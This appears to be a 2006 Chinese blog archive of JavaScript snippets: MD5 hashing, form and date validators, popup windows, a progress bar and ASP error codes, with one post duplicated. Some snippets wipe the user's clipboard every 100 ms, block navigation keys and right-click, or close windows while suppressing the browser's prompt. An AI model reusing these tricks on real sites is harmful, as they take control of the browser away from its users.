    X[wLen - 2] = sInp.length * 8; 

    /* hard-coded initial values */ 
    a = 0x67452301; 
    b = 0xefcdab89; 
    c = 0x98badcfe; 
    d = 0x10325476; 

    /* Process each 16-word block in turn */ 
    for (i = 0; i < wLen; i += 16) { 
        aO = a; 
        bO = b; 
        cO = c; 
        dO = d; 

        a = R1(a, b, c, d, X[i+ 0], 7 , 0xd76aa478); 
        d = R1(d, a, b, c, X[i+ 1], 12, 0xe8c7b756); 
        c = R1(c, d, a, b, X[i+ 2], 17, 0x242070db); 
        b = R1(b, c, d, a, X[i+ 3], 22, 0xc1bdceee); 
        a = R1(a, b, c, d, X[i+ 4], 7 , 0xf57c0faf); 
        d = R1(d, a, b, c, X[i+ 5], 12, 0x4787c62a); 
        c = R1(c, d, a, b, X[i+ 6], 17, 0xa8304613); 
        b = R1(b, c, d, a, X[i+ 7], 22, 0xfd469501); 
        a = R1(a, b, c, d, X[i+ 8], 7 , 0x698098d8); 
        d = R1(d, a, b, c, X[i+ 9], 12, 0x8b44f7af); 
        c = R1(c, d, a, b, X[i+10], 17, 0xffff5bb1); 
        b = R1(b, c, d, a, X[i+11], 22, 0x895cd7be); 
        a = R1(a, b, c, d, X[i+12], 7 , 0x6b901122); 
        d = R1(d, a, b, c, X[i+13], 12, 0xfd987193); 
        c = R1(c, d, a, b, X[i+14], 17, 0xa679438e); 
        b = R1(b, c, d, a, X[i+15], 22, 0x49b40821); 

        a = R2(a, b, c, d, X[i+ 1], 5 , 0xf61e2562); 
        d = R2(d, a, b, c, X[i+ 6], 9 , 0xc040b340); 
        c = R2(c, d, a, b, X[i+11], 14, 0x265e5a51); 
        b = R2(b, c, d, a, X[i+ 0], 20, 0xe9b6c7aa); 
        a = R2(a, b, c, d, X[i+ 5], 5 , 0xd62f105d); 
        d = R2(d, a, b, c, X[i+10], 9 , 0x2441453); 
        c = R2(c, d, a, b, X[i+15], 14, 0xd8a1e681); 
        b = R2(b, c, d, a, X[i+ 4], 20, 0xe7d3fbc8); 
        a = R2(a, b, c, d, X[i+ 9], 5 , 0x21e1cde6); 
        d = R2(d, a, b, c, X[i+14], 9 , 0xc33707d6); 
        c = R2(c, d, a, b, X[i+ 3], 14, 0xf4d50d87); 
        b = R2(b, c, d, a, X[i+ 8], 20, 0x455a14ed); 
        a = R2(a, b, c, d, X[i+13], 5 , 0xa9e3e905); 
        d = R2(d, a, b, c, X[i+ 2], 9 , 0xfcefa3f8); 
        c = R2(c, d, a, b, X[i+ 7], 14, 0x676f02d9); 
        b = R2(b, c, d, a, X[i+12], 20, 0x8d2a4c8a); 

        a = R3(a, b, c, d, X[i+ 5], 4 , 0xfffa3942); 
        d = R3(d, a, b, c, X[i+ 8], 11, 0x8771f681); 
        c = R3(c, d, a, b, X[i+11], 16, 0x6d9d6122); 
        b = R3(b, c, d, a, X[i+14], 23, 0xfde5380c); 
        a = R3(a, b, c, d, X[i+ 1], 4 , 0xa4beea44); 
        d = R3(d, a, b, c, X[i+ 4], 11, 0x4bdecfa9); 
        c = R3(c, d, a, b, X[i+ 7], 16, 0xf6bb4b60); 
        b = R3(b, c, d, a, X[i+10], 23, 0xbebfbc70); 
        a = R3(a, b, c, d, X[i+13], 4 , 0x289b7ec6); 
        d = R3(d, a, b, c, X[i+ 0], 11, 0xeaa127fa); 
        c = R3(c, d, a, b, X[i+ 3], 16, 0xd4ef3085); 
        b = R3(b, c, d, a, X[i+ 6], 23, 0x4881d05); 
        a = R3(a, b, c, d, X[i+ 9], 4 , 0xd9d4d039); 
        d = R3(d, a, b, c, X[i+12], 11, 0xe6db99e5); 
        c = R3(c, d, a, b, X[i+15], 16, 0x1fa27cf8); 
        b = R3(b, c, d, a, X[i+ 2], 23, 0xc4ac5665); 

        a = R4(a, b, c, d, X[i+ 0], 6 , 0xf4292244); 
        d = R4(d, a, b, c, X[i+ 7], 10, 0x432aff97); 
        c = R4(c, d, a, b, X[i+14], 15, 0xab9423a7); 
        b = R4(b, c, d, a, X[i+ 5], 21, 0xfc93a039); 
        a = R4(a, b, c, d, X[i+12], 6 , 0x655b59c3); 
        d = R4(d, a, b, c, X[i+ 3], 10, 0x8f0ccc92); 
        c = R4(c, d, a, b, X[i+10], 15, 0xffeff47d); 
        b = R4(b, c, d, a, X[i+ 1], 21, 0x85845dd1); 
        a = R4(a, b, c, d, X[i+ 8], 6 , 0x6fa87e4f); 
        d = R4(d, a, b, c, X[i+15], 10, 0xfe2ce6e0); 
        c = R4(c, d, a, b, X[i+ 6], 15, 0xa3014314); 
        b = R4(b, c, d, a, X[i+13], 21, 0x4e0811a1); 
        a = R4(a, b, c, d, X[i+ 4], 6 , 0xf7537e82); 
        d = R4(d, a, b, c, X[i+11], 10, 0xbd3af235); 
        c = R4(c, d, a, b, X[i+ 2], 15, 0x2ad7d2bb); 
        b = R4(b, c, d, a, X[i+ 9], 21, 0xeb86d391); 

        a = add(a, aO); 
        b = add(b, bO); 
        c = add(c, cO); 
        d = add(d, dO); 
    }
    
    return hex(a) + hex(b) + hex(c) + hex(d); 
}
alert(calcMD5("Hello"))
</script>

- 作者: 落雨听风 2006年12月1日, 星期五 21:24  回复(0) |  引用(1) 加入博采

预判断一下链接URL是否可用

<script language="javascript">
function getURL(url)
{
    var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    xmlhttp.open("GET",url,false);
    xmlhttp.send();
    if (xmlhttp.readyState==4)
      alert((xmlhttp.Status==200)?"存在":"不存在");
}
//user like this:
getURL("http://localhost/1.asp")
</script>

- 作者: 落雨听风 2006年12月1日, 星期五 21:23  回复(0) |  引用(1) 加入博采

各种验证代码
验证类
1、数字验证内
  1.1 整数
      /^(-|\+)?\d+$/.test(str)
  1.2 大于0的整数 (用于传来的ID的验证)
      /^\d+$/.test(str)
  1.3 负整数的验证
      /^-\d+$/.test(str)
2、时间类
  2.1 短时间,形如 (13:04:06)
      function isTime(str)
      {
        var a = str.match(/^(\d{1,2})(:)?(\d{1,2})\2(\d{1,2})$/);
        if (a == null) {alert('输入的参数不是时间格式'); return false;}
        if (a[1]>24 || a[3]>60 || a[4]>60)
        {
          alert("时间格式不对");
          return false
        }
        return true;
      }
  2.2 短日期,形如 (2003-12-05)
      function strDateTime(str)
      {
         var r = str.match(/^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/); 
         if(r==null)return false; 
         var d= new Date(r[1], r[3]-1, r[4]); 
         return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]);
      }
  2.3 长时间,形如 (2003-12-05 13:04:06)
      function strDateTime(str)
      {
        var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/; 
        var r = str.match(reg); 
        if(r==null)return false; 
        var d= new Date(r[1], r[3]-1,r[4],r[5],r[6],r[7]); 
        return 

(d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]&&
d.getHours()==r[5]&&d.getMinutes()==r[6]&&d.getSeconds()==


r[7]);
      }
  2.4 只有年和月。形如(2003-05,或者2003-5)
  2.5 只有小时和分钟,形如(12:03)
3、表单类
  3.1 所有的表单的值都不能为空
      <input onblur="if(this.value.replace(/^\s+|\s+$/g,'')=='')alert('不能为空!')">
  3.2 多行文本框的值不能为空。
  3.3 多行文本框的值不能超过sMaxStrleng
  3.4 多行文本框的值不能少于sMixStrleng
  3.5 判断单选框是否选择。
  3.6 判断复选框是否选择.
  3.7 复选框的全选,多选,全不选,反选
  3.8 文件上传过程中判断文件类型
4、字符类
  4.1 判断字符全部由a-Z或者是A-Z的字字母组成
      <input onblur="if(/[^a-zA-Z]/g.test(this.value))alert('有错')">
  4.2 判断字符由字母和数字组成。
      <input onblur="if(/[^0-9a-zA-Z]/g.test(this.value))alert('有错')">
  4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
      /^([a-zA-z_]{1})([\w]*)$/g.test(str)
  4.4 字符串替换函数.Replace();
5、浏览器类
  5.1 判断浏览器的类型
      window.navigator.appName
  5.2 判断ie的版本
      window.navigator.appVersion
  5.3 判断客户端的分辨率
      window.screen.height;  window.screen.width;
  
6、结合类
  6.1 email的判断。
      function ismail(mail)
      {
        return(new RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)
[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(mail));
      }
  6.2 手机号码的验证
  6.3 身份证的验证
      function isIdCardNo(num)
      {
        if (isNaN(num)) {alert("输入的不是数字!"); return false;}
        var len = num.length, re; 
        if (len == 15)
          re = new RegExp(/^(\d{6})()?(\d{2})(\d{2})(\d{2})(\d{3})$/);
        else if (len == 18)
          re = new RegExp(/^(\d{6})()?(\d{4})(\d{2})(\d{2})(\d{3})(\d)$/);
        else {alert("输入的数字位数不对!"); return false;}
        var a = num.match(re);
        if (a != null)
        {
          if (len==15)
          {
            var D = new Date("19"+a[3]+"/"+a[4]+"/"+a[5]);
            var B = D.getYear()==a[3]&&(D.getMonth()+1)==a[4]&&
D.getDate()==a[5];
          }
          else
          {
            var D = new Date(a[3]+"/"+a[4]+"/"+a[5]);
            var B = D.getFullYear()==a[3]&&(D.getMonth()+1)==a[4]&&
D.getDate()==a[5];
          }
          if (!B) {alert("输入的身份证号 "+ a[0] +" 里出生日期不对!"); return false;}
        }
        return true;
      }



3.7 复选框的全选,多选,全不选,反选
<form name=hrong>
<input type=checkbox name=All onclick="checkAll('mm')">全选<br/>
<input type=checkbox name=mm onclick="checkItem('All')"><br/>
<input type=checkbox name=mm onclick="checkItem('All')"><br/>
<input type=checkbox name=mm onclick="checkItem('All')"><br/>
<input type=checkbox name=mm onclick="checkItem('All')"><br/>
<input type=checkbox name=mm onclick="checkItem('All')"><br/><br/>



<input type=checkbox name=All2 onclick="checkAll('mm2')">全选<br/>
<input type=checkbox name=mm2 onclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 onclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 onclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 onclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 onclick="checkItem('All2')"><br/>

</form>


<SCRIPT LANGUAGE="javascript">
function checkAll(str)
{
  var a = document.getElementsByName(str);
  var n = a.length;
  for (var i=0; i<n; i++)
  a[i].checked = window.event.srcElement.checked;
}
function checkItem(str)
{
  var e = window.event.srcElement;
  var all = eval("document.hrong."+ str);
  if (e.checked)
  {
    var a = document.getElementsByName(e.name);
    all.checked = true;
    for (var i=0; i<a.length; i++)
    {
      if (!a[i].checked){ all.checked = false; break;}
    }
  }
  else all.checked = false;
}
</SCRIPT>


3.8 文件上传过程中判断文件类型
<input type=file onchange="alert(this.value.match(/^(.*)(\.)(.{1,8})$/)[3])"> 不断地清空剪贴板:
<body onload="setInterval('clipboardData.setData(\'Text\',\'\')',100)">
<script language="javascript" type="text/javascript">
file://先复制一样东西,或者文本或者图片
if(clipboardData.getData("Text")||clipboardData.getData("HTML")||
clipboardData.getData("URL"))
{
alert("有效行为");
}
</script>

- 作者: 落雨听风 2006年12月1日, 星期五 21:21  回复(0) |  引用(1) 加入博采

屏蔽所有功能键

  1.1 屏蔽右键
      在body标签里加上oncontextmenu=self.event.returnValue=false   
  1.2 屏蔽所有功能键


  1.3 --> 和<-- F5 F11,F9,F1


  1.4 屏蔽组合键ctrl+N


<script language=javascript>
function KeyDown(){   
  if ((window.event.altKey)&&
      ((window.event.keyCode==37)||   file://屏蔽 Alt+ 方向键 ←
       (window.event.keyCode==39))){  file://屏蔽 Alt+ 方向键 →
     alert("不准你使用ALT+方向键前进或后退网页!");
     event.returnValue=false;
     }
  if ((event.keyCode==8)||            file://屏蔽退格删除键
      (event.keyCode==116)){          file://屏蔽 F5 刷新键
     event.keyCode=0;
     event.returnValue=false;
     }
  if ((event.ctrlKey)&&(event.keyCode==78)){   file://屏蔽 Ctrl+n
     event.returnValue=false;
     }
  if ((event.shiftKey)&&(event.keyCode==121)){ file://屏蔽 shift+F10
     event.returnValue=false;
     }
  if (event.keyCode==122){ file://屏蔽 F11
     event.returnValue=false;
     }
  }
只要知道keyCode即可屏蔽所有功能键

- 作者: 落雨听风 2006年12月1日, 星期五 21:19  回复(0) |  引用(1) 加入博采

JAVASCRIPT的常用技术
真正的全屏页面解决之道!(全代码) 
真正全屏解决之道: 
1.htm 
<html> 
<head> 
<title>无标题文档</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
</head> 
<body onload="window.open('fullscreen.htm','','fullscreen=1,scroll=no');"> 
</body> 
</html> 

fullscreen.htm 
<html> 
<head> 
<title>无标题文档</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<script language="javascript1.2">  
<!--  
function opensmallwin(myurl){  
var w2=300;//想弹出窗口的宽度  
var h2=100;//想弹出窗口的高度  
var w3=window.screen.width/2-w2/2;  
var h3=window.screen.height/2-h2/2;  
window.open(myurl,'small','toolbar=no,location=no,directories=no,status=no,menubar=no,
scrollbars=no,resizable=0,width='+ w2 +',height='+ h2 +',left='+ w3 +',top='+ h3 +'');  
}  
file://-->  
<!-- 
function modelesswin(url,mwidth,mheight){ 
  if (document.all&&window.print) 
    eval('window.external.m2_blocked(url,"","help:0;resizable:0;status:0;center:1;
scroll:0;dialogWidth:'+mwidth+'px;dialogHeight:'+mheight+'px")')  
  else 
    eval('window.open(url,"","width='+mwidth+'px,height='+mheight+'px,resizable=1,
scrollbars=1")') 
  } 
file://--> 
</script>  
</head> 
<body  scroll="no"> 
<div align="right"><a href="javascript:" onclick="window.close()">关闭
</a> </div> 
<p></P> 
<div align="right"><a href="javascript:" onclick="opensmallwin('login.htm')">登录
</a> </div> 
<p></P> 
<div align="center"><a href="javascript:"
onclick="modelesswin('login.htm',300,160)">用模态登录窗口</a> </div> 
</body> 
</html> 

login.htm 
<html> 
<head> 
<title>用户登录</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<style type="text/css"> 
<!-- 
body { 
   background-color: #EAEAEA; 
   font-family: Arial, Helvetica, sans-serif; 
   font-size: 12px; 
   line-height: 24px; 
   color: #336699; 

input.boxline { 
   width: 100px; 
   font-family: "Times New Roman", "Times", "serif"; 
   font-size: 9pt; 
   border: 1px solid #669999; 
   height: 18px; 

input.whiteline {   
   font-size: 12px; border: 1px #999999 solid 

--> 
</style></head> 
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> 
<table width="100%" height="100%" border="0" cellpadding="0"
 cellspacing="14" bgcolor="#CCCCCC"> 
  <tr valign="top"> 
    <td width="10%" nowrap  align="right"><b>用户名:</b></td> 
    <td width="90%"><input name="textfield1" type="text" size="25"
 class="whiteline"></td> 
  </tr> 
  <tr valign="top"> 
    <td nowrap align="right"><b>密 码:</b></td> 
    <td><input name="textfield12" type="password" size="25"
class="whiteline"></td> 
  </tr> 
  <tr valign="top"> 
    <td> </td> 
    <td><input type="submit" name="Submit" value="登  录"
class="boxline"></td> 
  </tr> 
</table> 
</body> 
</html> 

自动关掉原窗口: 

<html> 
<head> 
<title>无标题文档</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<style type="text/css"> 
<!-- 
body { 
   margin-left: 0px; 
   margin-top: 0px; 
   margin-right: 0px; 
   margin-bottom: 0px; 

--> 
</style> 
</head> 
<body onload="window.open('fullscreen.htm','','fullscreen=1,scroll=no');
window.opener=null;window.close()"> 
<input type=button value=关闭 onclick="window.opener=null;window.close()">  
<!-- IE5.5+ 不会有弹出提示 -->  
<OBJECT id=WebBrowser classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2
height=0 width=0></OBJECT>  
<input type=button value=关闭窗口 onclick=document.all.WebBrowser.ExecWB(45,1)>  
</body> 
</html> 
关键是在onload事件中加入: 
window.opener=null;window.close() 

预读图片:
<SCRIPT LANGUAGE="javascript">
<!-- This script and many more are available free online at -->
<!-- The javascript Source!! <a href=http://javascript.internet.com
target=_blank>http://javascript.internet.com -->
<!-- Begin
image1 = new Image();
image1.src = "image1.gif";
image2 = new Image();
image2.src = "image2.gif";
// End -->
</script>
 
关于两个网页刷新交互的问题 
JS处理方法: 
a.htm 
<a href="b.htm" target=blank>发表留言</a> 
<script> 
alert("wwwwwwwwwwwwwwwwwwwwwwwwww"); 
</script> 
b.htm 
<script language="javascript"> 
file://window.opener.location.reload();刷新父窗口 
file://window.opener.location="2.htm"//重定向父窗口到2.htm页 
function closewindow() 

window.opener.location.reload(); 
self.close(); 
window.opener.document.write("sssssssssssssssssss"); 

</script> 
<a href="b.htm" target=blank onclick="closewindow();">关闭</a> 
 
后台处理方法: 
private btnForSubmit(Object sender,EventArgs e) 

 ............. 
 Response.Write("<script>window.opener.document.execCommand('refresh');
window.opener='';window.close();</script>"); 
file://string str="<script>window.opener.document.execCommand('refresh');
window.opener='';window.close();</script>"; 
file://this.RegisterStartupScript("mycode",str);
------------

- 作者: 落雨听风 2006年12月1日, 星期五 21:14  回复(0) |  引用(1) 加入博采

JAVASCRIPT的常用技术
真正的全屏页面解决之道!(全代码) 
真正全屏解决之道: 
1.htm 
<html> 
<head> 
<title>无标题文档</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
</head> 
<body onload="window.open('fullscreen.htm','','fullscreen=1,scroll=no');"> 
</body> 
</html> 

fullscreen.htm 
<html> 
<head> 
<title>无标题文档</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<script language="javascript1.2">  
<!--  
function opensmallwin(myurl){  
var w2=300;//想弹出窗口的宽度  
var h2=100;//想弹出窗口的高度  
var w3=window.screen.width/2-w2/2;  
var h3=window.screen.height/2-h2/2;  
window.open(myurl,'small','toolbar=no,location=no,directories=no,status=no,menubar=no,
scrollbars=no,resizable=0,width='+ w2 +',height='+ h2 +',left='+ w3 +',top='+ h3 +'');  
}  
file://-->  
<!-- 
function modelesswin(url,mwidth,mheight){ 
  if (document.all&&window.print) 
    eval('window.external.m2_blocked(url,"","help:0;resizable:0;status:0;center:1;
scroll:0;dialogWidth:'+mwidth+'px;dialogHeight:'+mheight+'px")')  
  else 
    eval('window.open(url,"","width='+mwidth+'px,height='+mheight+'px,resizable=1,
scrollbars=1")') 
  } 
file://--> 
</script>  
</head> 
<body  scroll="no"> 
<div align="right"><a href="javascript:" onclick="window.close()">关闭
</a> </div> 
<p></P> 
<div align="right"><a href="javascript:" onclick="opensmallwin('login.htm')">登录
</a> </div> 
<p></P> 
<div align="center"><a href="javascript:"
onclick="modelesswin('login.htm',300,160)">用模态登录窗口</a> </div> 
</body> 
</html> 

login.htm 
<html> 
<head> 
<title>用户登录</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<style type="text/css"> 
<!-- 
body { 
   background-color: #EAEAEA; 
   font-family: Arial, Helvetica, sans-serif; 
   font-size: 12px; 
   line-height: 24px; 
   color: #336699; 

input.boxline { 
   width: 100px; 
   font-family: "Times New Roman", "Times", "serif"; 
   font-size: 9pt; 
   border: 1px solid #669999; 
   height: 18px; 

input.whiteline {   
   font-size: 12px; border: 1px #999999 solid 

--> 
</style></head> 
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> 
<table width="100%" height="100%" border="0" cellpadding="0"
 cellspacing="14" bgcolor="#CCCCCC"> 
  <tr valign="top"> 
    <td width="10%" nowrap  align="right"><b>用户名:</b></td> 
    <td width="90%"><input name="textfield1" type="text" size="25"
 class="whiteline"></td> 
  </tr> 
  <tr valign="top"> 
    <td nowrap align="right"><b>密 码:</b></td> 
    <td><input name="textfield12" type="password" size="25"
class="whiteline"></td> 
  </tr> 
  <tr valign="top"> 
    <td> </td> 
    <td><input type="submit" name="Submit" value="登  录"
class="boxline"></td> 
  </tr> 
</table> 
</body> 
</html> 

自动关掉原窗口: 

<html> 
<head> 
<title>无标题文档</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<style type="text/css"> 
<!-- 
body { 
   margin-left: 0px; 
   margin-top: 0px; 
   margin-right: 0px; 
   margin-bottom: 0px; 

--> 
</style> 
</head> 
<body onload="window.open('fullscreen.htm','','fullscreen=1,scroll=no');
window.opener=null;window.close()"> 
<input type=button value=关闭 onclick="window.opener=null;window.close()">  
<!-- IE5.5+ 不会有弹出提示 -->  
<OBJECT id=WebBrowser classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2
height=0 width=0></OBJECT>  
<input type=button value=关闭窗口 onclick=document.all.WebBrowser.ExecWB(45,1)>  
</body> 
</html> 
关键是在onload事件中加入: 
window.opener=null;window.close() 

预读图片:
<SCRIPT LANGUAGE="javascript">
<!-- This script and many more are available free online at -->
<!-- The javascript Source!! <a href=http://javascript.internet.com
target=_blank>http://javascript.internet.com -->
<!-- Begin
image1 = new Image();
image1.src = "image1.gif";
image2 = new Image();
image2.src = "image2.gif";
// End -->
</script>
 
关于两个网页刷新交互的问题 
JS处理方法: 
a.htm 
<a href="b.htm" target=blank>发表留言</a> 
<script> 
alert("wwwwwwwwwwwwwwwwwwwwwwwwww"); 
</script> 
b.htm 
<script language="javascript"> 
file://window.opener.location.reload();刷新父窗口 
file://window.opener.location="2.htm"//重定向父窗口到2.htm页 
function closewindow() 

window.opener.location.reload(); 
self.close(); 
window.opener.document.write("sssssssssssssssssss"); 

</script> 
<a href="b.htm" target=blank onclick="closewindow();">关闭</a> 
 
后台处理方法: 
private btnForSubmit(Object sender,EventArgs e) 

 ............. 
 Response.Write("<script>window.opener.document.execCommand('refresh');
window.opener='';window.close();</script>"); 
file://string str="<script>window.opener.document.execCommand('refresh');
window.opener='';window.close();</script>"; 
file://this.RegisterStartupScript("mycode",str);
------------

- 作者: 落雨听风 2006年12月1日, 星期五 21:14  回复(0) |  引用(1) 加入博采

javascript常用日期验证

javascript常用日期验证

1、
<script language=javascript>
function isDate(v)
{
  var r = v.match(/^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/);
  if(r==null)
return false;
  var d = new Date(r[1], r[3]-1,r[4]);
  return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]);
}
</script>

2、
//component 为要检测的表单的id
function checkDateFormat(component){
strDate = component.value;
//"-",".","/","\"
var reg = /[-|\\|\.|\/|\s]/g;
strDate = strDate.replace(reg, "-");
//"dddd-dd-dd"
var regDate = /^(\d{1,4})(-)(\d{1,2})\2(\d{1,2})$/;
var result = strDate.match(regDate);
if ( result == null ){
return false;
}
var month = ((""+result[3]).length < 2)?("0" + result[3]):("" + result[3]);
var day = ((""+result[4]).length < 2)? ("0" + result[4]):("" + result[4]);
strDate = result[1] + result[2] + month + result[2] + day;
var date = new Date(result[1], result[3]-1,result[4]);
month = ((date.getMonth() + 1) < 10)?("0" + (date.getMonth() + 1)):("" + (date.getMonth() + 1));
day = (date.getDate() < 10)?("0" + date.getDate()):("" + date.getDate());
var newStr=date.getFullYear() + result[2] + month + result[2] + day;
return newStr == strDate;
}

3、
<script langauge=javascript>
function checkDate(obj)//判断日期格式是不是符合
{
var strDate=obj.value;
re=/\d{4}\/\d{2}\/\d{2}/g
if(re.test(strDate))//判断日期格式符合YYYY/MM/DD标准
{
var DateArray=strDate.split("/");
var dateElement=new Date(DateArray[0],parseInt(DateArray[1])-1,DateArray[2]);
if(!((dateElement.getFullYear()==parseInt(DateArray[0]))&&((dateElement.getMonth()+1)==parseInt(DateArray[1]))&&(dateElement.getDate()==parseInt(DateArray[2]))))//判断日期逻辑
{
alert("不符合时间逻辑")
obj.value='';
}
else
{
alert("正确")
}
}
else
{
alert("格式输入错误")
obj.value='';
}

}
</script>
<input name=time1 onblur=checkDate(this)>

4、
<script language=javascript>
String.prototype.isDate = function()
{
   var r = this.match(/^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/);
   if(r==null)return false; var d = new Date(r[1], r[3]-1, r[4]);
   return(d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]);
}
alert("2002-01-31".isDate());
alert("2002-01-41".isDate());
</script>

5、
function CheckDate(strDate){
var reg=/^(\d{4})([-])(\d{2})([-])(\d{2})/;
if(!reg.test(strDate)){
alert("日期格式不正确!\n正确格式为:2004-01-01");
return false;
}
var ss=strDate.split("-");
var year=ss[0];
var month=ss[1];
var date=ss[2];
if(!checkYear(year)){return false;}
if(!checkMonth(month)){return false;}
if(!checkDate(year,month,date)){return false;}
return true;
}
function checkYear(year){
if(isNaN(parseInt(year))){alert("年份输入有误,请重新输入!"); return false;}
else if(parseInt(year)<1950 || parseInt(year) >2050){ alert("年份应该在1950-2050之间
!"); return false}
else return true;
}
function checkMonth(month){
if(isNaN(parseInt(month))){alert("月份输入有误,请重新输入!"); return false;}
else if(parseInt(month)<1 || parseInt(month) >12){ alert("月份应该在1-12之间!");
return false}
else return true;
}
function checkDate(year,month,date){
var daysOfMonth=CalDays(parseInt(year),parseInt(month));
if(isNaN(parseInt(date))){alert("日期输入有误,请重新输入!"); return false;}
else if(parseInt(date)<0||parseInt(date)>daysOfMonth){ alert("日期应该在1
-"+daysOfMonth+"之间!"); return false;}
else return true;
}
function CalDays(year,month){
var date= new Date(year,month,0);
return date.getDate();
}
function isLeapYear(year){
if((year %4==0 && year %100!=0) || (year %400==0)) return true;
else return false;
}

- 作者: 落雨听风 2006年12月1日, 星期五 21:12  回复(2) |  引用(1) 加入博采

在查询页面中显示进度条,在数据load成功后隐去进度条

<script language="javascript">
function onSubmit() {
  var waitingInfo = document.getElementById(getNetuiTagName("waitingInfo"));
  waitingInfo.style.display = ""; //show the ProgressBar
  progress_update();    //begin the progressbar
  //waiting for several seconds,you would delete in your case
  for(i=0;i<1000000;i++){
   j=i+i;
  }
  location.href="progressbar.jsp"; //config your action page in here
 }


 // Build the netui_names table to map the tagId attributes
 // to the real id written into the HTML
 if (netui_names == null)
  var netui_names = new Object();
 netui_names.selectButton="portlet_15_1selectButton"
 // method which will return a real id for a tagId
 function getNetuiTagName(id) {
  return netui_names[id];
 }

 // method which will return a real id for a tagId,
 // the tag parameter will be used to find the scopeId for
 // containers that may scope their ids
 function getNetuiTagName(id, tag) {
  var scopeId = getScopeId(tag);
  if (scopeId == "")
     return netui_names[id];
  else
     return netui_names[scopeId  + "__" + id];
 }

 // method which get a tag will find any scopeId that,
 // was inserted by the containers
 function getScopeId(tag) {
    if (tag == null)
       return "";
    if (tag.getAttribute) { 
       if (tag.getAttribute('scopeId') != null)
          return tag.getAttribute('scopeId');
    } 
    if (tag.scopeId != null)
       return tag.scopeId;
    return getScopeId(tag.parentNode);
 }

 // Build the netui_names table to map the tagId attributes
 // to the real id written into the HTML
 if (netui_names == null)
    var netui_names = new Object();
 netui_names.waitingInfo="waitingInfo"

 var progressEnd = 15;  // set to number of progress <span>'s.
 var progressColor = 'green'; // set to progress bar color
 var progressInterval = 200; // set to time between updates (milli-seconds)

 var progressAt = progressEnd;
 var progressTimer;
 function progress_clear() {
  for (var i = 1; i <= progressEnd; i++)  
  document.getElementById('progress'+i).style.backgroundColor = 'transparent';
  progressAt = 0;
 }
 function progress_update() {
  progressAt++;
  if (progressAt > progressEnd) progress_clear();
  else document.getElementById('progress'+progressAt).style.backgroundColor = progressColor;
  progressTimer = setTimeout('progress_update()',progressInterval);
 }
 function progress_stop() {
  clearTimeout(progressTimer);
  progress_clear();
 }
</script>



<span id="waitingInfo" style="display:none">
<table align="center"><tr><td>
正在处理数据, 请稍候......
<div style="font-size:2pt;padding:2px;border:solid black 1px">
<span id="progress1">   </span>
<span id="progress2">   </span>
<span id="progress3">   </span>
<span id="progress4">   </span>
<span id="progress5">   </span>
<span id="progress6">   </span>
<span id="progress7">   </span>
<span id="progress8">   </span>
<span id="progress9">   </span>
<span id="progress10">   </span>
<span id="progress11">   </span>
<span id="progress12">   </span>
<span id="progress13">   </span>
<span id="progress14">   </span>
<span id="progress15">   </span>
</div>
</td></tr></table>
</span>

<center>
点击按钮试试:
<input name="button" type="button" value="查询" onClick="javascript: return onSubmit();"> 
</center>

- 作者: 落雨听风 2006年12月1日, 星期五 21:11  回复(0) |  引用(1) 加入博采

ASP开发中错误信息

转:http://tb.blog.csdn.net/TrackBack.aspx?PostId=69401

*//-------------ASP开发中可能遇到的错误信息中文说明大全(整理收集)
如果你搞过ASP的开发,你就会为ASP中没有好的完整的调试环境而头疼不己。我收集了网上相关所有信息提示,想给它做成单机的ASP开发错误提示软件中的数据库,但是我发现应该还有些是我所不清楚或说是了解的。所以放在这里,请知道的朋友再次提出你的观点或说更详细的信息,我将非常感激!如果有好的建议,如果软件出来后,我将首先免费送给您尝试使用!

再次希望看到这个文章的朋友们,能够支持和鼓励我做这个东西!(反正我觉得做这样东西的好像就没有啊),请大家指出问题并且补充!!!呵!!!!!-----------------//*

大部分的ADO的错误码对应的含义
除了在 Error 对象和 Errors 集合中说明的提供者错误之外,ADO 本身也将错误返回到
运行时环境的异常处理机制之中。使用编程语言的错误捕获机制(如 Microsoft&reg;
Visual Basic&reg; 中的 On Error 语句)可捕获及处理下列错误。下表将同时显示十
进制和十六进制错误代码值。
   
常量名称 编号 说明
adErrInvalidArgument 3001 0x800A0BB9 应用程序使用的参数其类型错误、超出可接受
的范围或者与其他参数冲突。
adErrNoCurrentRecord 3021 0x800A0BCD BOF 或 EOF 为 True,或者当前记录已经删除
。应用程序请求的操作需要当前记录。
adErrIllegalOperation 3219 0x800A0C93 应用程序请求的操作不允许出现在该上下文
中 adErrInTransaction 3246 0x800A0CAE 在事务中应用程序无法显式关闭
Connection 对象。
adErrFeatureNotAvailable 3251 0x800A0CB3 提供者不支持应用程序请求的操作。
adErrItemNotFound 3265 0x800A0CC1 ADO 无法在对应于应用程序请求的名称或顺序引
用的集合中找到对象。
